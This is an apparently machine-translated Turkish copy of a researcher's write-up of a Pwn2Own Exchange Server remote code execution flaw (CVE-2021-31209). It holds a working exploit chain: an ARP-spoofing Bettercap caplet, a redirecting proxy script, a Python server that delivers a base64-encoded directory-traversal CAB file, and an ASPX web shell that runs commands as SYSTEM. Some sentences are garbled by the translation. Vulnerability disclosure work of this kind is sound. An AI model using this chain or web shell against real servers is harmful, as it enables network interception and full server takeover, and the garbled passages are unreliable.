Microsoft Exchange Server Uzaktan Kod Yürütme


Çevrimiçi Değişim

Kasım 2020’nin ortalarında, Microsoft Exchange Server’da tuhaf bir yapıya sahip bir mantıksal uzaktan kod yürütme güvenlik açığı keşfettim; tetiklenmeden önce bir morpheus in the middle (MiTM) saldırısının gerçekleşmesi gerekiyordu. Bu hatayı buldum çünkü aramaları arıyordum WebClient.DownloadFile Exchange sunucusundaki bazı ortamlarda bu tür bir güvenlik açığının büyük etkisi olabileceğinden, sunucu tarafı istek sahteciliği güvenlik açığını keşfetme umuduyla. Daha sonra SharePoint Server’ın da temelde aynı kod kalıbından etkilendiğini öğrendim.

TL; DR; Bu gönderi, Pwn2Own Vancouver 2021’de Microsoft Exchange Server girişini kısmen kazanmak için kullandığım güvenlik açığının kısa bir dökümüdür.

Güvenlik Açığı Özeti

MiTM saldırısı gibi ayrıcalıklı bir ağ konumundaki kimliği doğrulanmamış bir saldırgan, yönetici bir kullanıcı kodu çalıştırdığında uzaktan kod yürütme güvenlik açığını tetikleyebilir. Update-ExchangeHelp veya Update-ExchangeHelp -ForceExchange Yönetim Kabuğu’ndaki komut.

Güvenlik Açığı Analizi

İçinde Microsoft.Exchange.Management.dll dosyalamak Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand sınıf tanımlandı:

protected override void InternalProcessRecord()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        ex = this.helpUpdater.UpdateHelp();    // 1
    }
    //...

Şu tarihte: [1] kod şunu çağırır: HelpUpdater.UpdateHelp yöntem. İçinde Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater gördüğümüz sınıf:

internal UpdatableExchangeHelpSystemException UpdateHelp()
{
    double num = 90.0;
    UpdatableExchangeHelpSystemException result = null;
    this.ProgressNumerator = 0.0;
    if (this.Cmdlet.Force || this.DownloadThrottleExpired())
    {
        try
        {
            this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            string path = this.LocalTempBase + "UpdateHelp.$$$\\";
            this.CleanDirectory(path);
            this.EnsureDirectory(path);
            HelpDownloader helpDownloader = new HelpDownloader(this);
            helpDownloader.DownloadManifest();    // 2

Bu işlev birkaç eylemi gerçekleştirir. İlki şurada [2] Ne zaman DownloadManifest denir. Hadi bir göz atalım Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest:

internal void DownloadManifest()
{
    string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
    if (!this.helpUpdater.Cmdlet.Abort)
    {
        this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));  // 3
    }
}

Şu tarihte: [3] kod çağırıyor AsyncDownloadFile kullanarak ManifestUrl. ManifestUrl ne zaman ayarlanır LoadConfiguration yöntem çağrılır InternalValidate:

protected override void InternalValidate()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        this.helpUpdater.LoadConfiguration();   // 4
    }
internal void LoadConfiguration()
{
    //...
    RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    if (registryKey3 == null)
    {
        registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    }
    if (registryKey3 != null)
	{
        try
		{
            this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();  // 5

Şu tarihte: [4] kod çağrıları LoadConfiguration cmdlet’teki argümanların doğrulanması sırasında. Bu, ManifestUrl ile http://go.microsoft.com/fwlink/p/?LinkId=287244 kayıt defteri kovanında yoksa: HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp en [5]. Varsayılan olarak, değer her zaman böyle olmaz http://go.microsoft.com/fwlink/p/?LinkId=287244.

Geri dön AsyncDownloadFile en [3] bu yöntemi kullanacak WebClient.DownloadFileAsync Dosya sistemine bir dosya indirmek için API. Yerel dosya yolunu kontrol edemediğimiz için burada bir güvenlik açığı yok. Daha sonra UpdateHelpaşağıdaki kodu görüyoruz:

//...
if (!this.Cmdlet.Abort)
{
    UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
    if (updatableHelpVersionRange != null)
    {
        double num2 = 20.0;
        this.ProgressNumerator = 10.0;
        this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
        string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
        if (array.Length != 0)  // 7
        {
            this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
            helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);  // 8
            if (this.Cmdlet.Abort)
            {
                return result;
            }
            this.ProgressNumerator += num2;
            this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
            helpInstaller.ExtractToTemp();  // 9
            //...

Burada açılacak çok şey var (kelime oyunu için kusura bakmayın). Şu tarihte: [6] kod, indirilen manifest dosyasında belirli bir sürüm veya sürüm aralığını arar ve Exchange sunucusu sürümünün bu aralıkta kalmasını sağlar. Kontrol aynı zamanda yeni revizyon numarasının mevcut revizyon numarasından yüksek olmasını da sağlar. Bu gereksinimler karşılanırsa kod şu aşamaya geçer: [7] kültürün kontrol edildiği yer. İngilizce dil paketini hedeflediğim için bunu şu şekilde ayarladım: en böylece daha sonra geçerli bir yol oluşturulabilir. sonra [8] the CabinetUrl indirilir ve saklanır. Bu, xml bildirim dosyasında belirtilen bir .cab dosyasıdır.

Sonunda [9] cab dosyası kullanılarak çıkarılır Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp yöntem:

internal int ExtractToTemp()
{
    this.filesAffected = 0;
    this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    bool embedded = false;
    string filter = "";
    int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);   // 10
    this.cabinetFiles = new Dictionary<string, List<string>>();
    this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
    this.filesAffected = result;
    return result;
}

Şu tarihte: [10] kod çağrıları Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles itibaren Microsoft.Exchange.CabUtility.dll dışa aktarılan işlevle kabin dosyalarını ayıklamak için yerel kod içeren bir karışım modu derlemesidir ExtractCab. Ne yazık ki, bu ayrıştırıcı, dosyaların bir dizin geçişi içermediğini doğrulamak için çıkarmadan önce bir geri çağırma işlevini kaydetmez. Bu, rastgele konumlara rastgele dosyalar yazmamı sağladı.

Sömürü

Dosya yazma güvenlik açığı mutlaka uzaktan kod yürütülmesi anlamına gelmez, ancak web uygulamaları bağlamında bu oldukça sıktır. Pwn2Own’da sunduğum saldırı şunu yazdı: C:/inetpub/wwwroot/aspnet_client dizini ve bu, kabuğun kimlik doğrulaması olmadan SİSTEM olarak isteğe bağlı kodu yürütmesi için http isteğinde bulunmamı sağladı.

Saldırıyı görselleştirebilmemiz için kurulumu gözden geçirelim.

Kurmak

İlk adım, hedef sisteme karşı bir ARP sahtekarlığı yapmanızı gerektirecektir. Bu aşamada kendi kendini otomatikleştirebilen caplet’leri tanımlamanıza olanak tanıyan Bettercap’i kullanmayı seçiyorum. Sanırım en son hedefli bir MiTM saldırısı yaptığımda 12 Yıllar önce! İşte benim içeriğim poc.cap Belirli http isteklerini engellemek ve bunlara yanıt vermek için ARP sahtekarlığını ve bir proxy komut dosyasını ayarlayan dosya:

set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on

poc.js dosya, hedefin isteğini engellemek ve bunu saldırganın barındırdığı yapılandırma dosyasına yönlendirmek için yazdığım proxy betiğidir. http://192.168.0.56:8000/poc.xml.

function onLoad() {
    log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")
    log_info("Found by Steven Seeley of Source Incite")
}

function onRequest(req, res) {
    log_info("(+) triggering mitm");
    var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;
    if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){
        res.Status = 302;
        res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml");
    }
}

Bu poc.xml manifest dosyası şunları içerir: CabinetUrl kötü amaçlı cab dosyasını birlikte barındırıyor Version güncellemenin hedeflediği aralık:


  
    
      15.2.1.1-15.2.999.9
      1
      en
      http://192.168.0.56:8000/poc.cab
    
  

Bildiriyi paketledim ve poc.cab küçük bir python http sunucusuna dosya teslim işlemi, poc.py bu aynı zamanda şuraya erişmeyi deneyecektir: poc.aspx SYSTEM olarak yürütülecek komutu içeren dosya:

import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CabRequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("poc.xml"):
            print("(+) delivering xml file...")
            xml = """
  
    
      15.2.1.1-15.2.999.9
      %s
      en
      http://%s:8000/poc.cab
    
  
""" % (r, s)
            self.send_response(200)
            self.send_header('Content-Type', 'application/xml')
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))
        elif self.path.endswith("poc.cab"):
            print("(+) delivering cab file...")
            # created like: makecab /d "CabinetName1=poc.cab" /f files.txt
            # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
            # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%> 
            stage_2  = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
            stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
            stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
            stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
            p = base64.b64decode(stage_2.encode('utf-8'))
            self.send_response(200)
            self.send_header('Content-Type', 'application/x-cab')
            self.send_header("Content-Length", len(p))
            self.end_headers()
            self.wfile.write(p)
            return

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s    " % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
        sys.exit(-1)
    t = sys.argv[1]
    s = sys.argv[2]
    port = 8000
    r = sys.argv[3]
    c = sys.argv[4]
    print("(+) server bound to port %d" % port)
    print("(+) targeting: %s using cmd: %s" % (t, c))
    httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
    handlerthr = Thread(target=httpd.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    p = { "c" : "/c %s" % c }
    try:
        while 1:
            req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
            if req.status_code == 200:
                break
        print("(+) executed %s as SYSTEM!" % c)
    except KeyboardInterrupt:
        pass

Her saldırı girişiminde, Revision Kod, değeri kayıt defterine yazacağı ve bildirim dosyasını indirdikten sonra dosyanın daha yüksek bir değer içerdiğini doğrulayacağı için sayının artırılması gerekiyor. Revision Cab dosyasını indirmeye ve çıkarmaya devam etmeden önce numarayı girin.

Windows Defender’ı Atlamak

Yürütme mspaint harika falan ama Pwn2Own için Defender bypass’ına ihtiyacımız vardı. pop thy shell. Sonrasında Turuncu Tsai ProxyLogin istismarının ayrıntılarını gizledikten sonra Microsoft, asp.net web kabuklarını tespit etmeye karar verdi. Bu yüzden, ters kabuk çalıştıran özel bir ikili dosya derleyerek ve onu diske bırakarak ve onu yan adım Defender’da çalıştırarak Orange’dan farklı bir yol izledim.

Örnek Saldırı

Bettercap’i şu şekilde çalıştırarak başlıyoruz: poc.cap caplet dosyası:

researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.cap
bettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands]

[12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability
[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite
[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.
[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)

Şimdi hedefe ping atıyoruz (önbelleğe alınmış hedeflerin Arp tablosunu güncellemek için) ve poc.py ve yönetici kullanıcının çalışmasını bekleyin Update-ExchangeHelp veya Update-ExchangeHelp -Force Exchange Yönetim Konsolu’nda (EMC) (-Force eğer gereklidir Update-ExchangeHelp komut son 24 saat içinde çalıştırıldı):

researcher@pluto:~/poc-exchange$ ./poc.py 
(+) usage: ./poc.py    
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"

researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) server bound to port 8000
(+) targeting: 192.168.0.142 using cmd: mspaint
(+) delivering xml file...
(+) delivering cab file...
(+) executed mspaint as SYSTEM!


Çözüm

Bu, Pwn2Own’da bir MiTM saldırısının kullanıldığı ilk sefer değil ve yarışmadaki diğer araştırmacılarla çakışmayan bir güvenlik açığı bulmak güzeldi. Bu ancak Exchange Server içindeki güvenlik açıklarını tespit etmek için yeni bir vektör ve/veya yüzey bulunmasıyla mümkün oldu. Mantıksal güvenlik açıkları her zaman ilgi çekicidir çünkü bu neredeyse her zaman kötüye kullanım anlamına gelir ve aynı sorunları geleneksel otomatikleştirilmiş araçlarla keşfetmek çok zordur. Tüm web güvenlik açıklarının aslında doğası gereği mantıklı olduğu ileri sürülüyor. Web tabanlı enjeksiyon güvenlik açıkları bile, belleğin manipülasyonunu gerektirmediğinden ve saldırı geçici olarak tekrarlanabildiğinden.

EMC, SİSTEM olarak çalışacak şekilde yapılandırılmış IIS hizmetine PS-Remoting aracılığıyla bağlandığından, bu güvenlik açığının Exchange sunucusundaki etkisi oldukça yüksektir. SharePoint Yönetim Kabuğu’nun (SMS) doğrudan etkilendiği ve SMS’i çalıştıran kullanıcı olarak kod yürütülmesinin sağlandığı SharePoint Server için durum böyle değildir.

Microsoft bu soruna CVE-2021-31209 yamasını ekledi ve henüz yapmadıysanız yamayı hemen dağıtmanızı öneririz.

Referanslar





Source link